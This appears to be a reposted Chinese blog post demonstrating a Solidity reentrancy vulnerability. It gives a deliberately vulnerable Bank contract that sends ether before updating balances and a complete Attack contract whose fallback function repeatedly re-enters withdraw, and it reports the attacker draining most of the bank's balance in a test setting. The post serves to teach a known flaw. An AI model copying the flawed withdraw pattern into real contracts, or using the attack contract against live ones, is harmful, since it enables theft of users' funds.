当前位置:   article > 正文

Reentrancy Vulnerability_reentrancy vulnerabilities

reentrancy vulnerabilities
pragma solidity ^0.4.0;

contract Bank {
    address owner;
    mapping (address => uint256) balances;

    constructor() public payable{ 
        owner = msg.sender; 
    }

    function deposit() public payable { 
        balances[msg.sender] += msg.value;
    }

    function withdraw(address receiver, uint256 amount) public{
        require(balances[msg.sender] > amount);
        require(address(this).balance > amount);
        // **使用 call.value()()进行ether转币时,没有Gas限制,用call调用会触发attack的fallback函数**
        receiver.call.value(amount)();
       // receiver.send(amount);
        balances[msg.sender] -= amount;
    }

    function balanceOf(address addr) public view returns (uint256) { 
        return balances[addr]; 
    }
    
    function getBank() public view returns(uint){
        return this.balance;
    } 
}

contract Attack {
    address owner;
    address victim;
    constructor() public payable { 
        owner = msg.sender;
    }
    function setVictim(address target) public{
        victim = target;
    }
    function step1(uint256 amount) public  payable{
        if (address(this).balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    function step2(uint256 amount) public{
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() public{
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) public{
        step1(amount);
        step2(amount / 2);
    }
    function () public payable {
        if (msg.sender == victim) {
            // 再次尝试调用Bank合约的withdraw函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
        }
    }
    
    function getBank() public view returns(uint){
        return this.balance;
    } 
    
    /*function getAddress() public view returns(string memory){
        return address(this);
    }*/
    
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73

初始银行有50wei,attack有10wei

在这里插入图片描述
按照代码顺序对Bank攻击后,attack合约获得银行绝大部分余额
在这里插入图片描述
在这里插入图片描述

参考:
1.https://paper.seebug.org/790/

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/141856
推荐阅读
相关标签
  

闽ICP备14008679号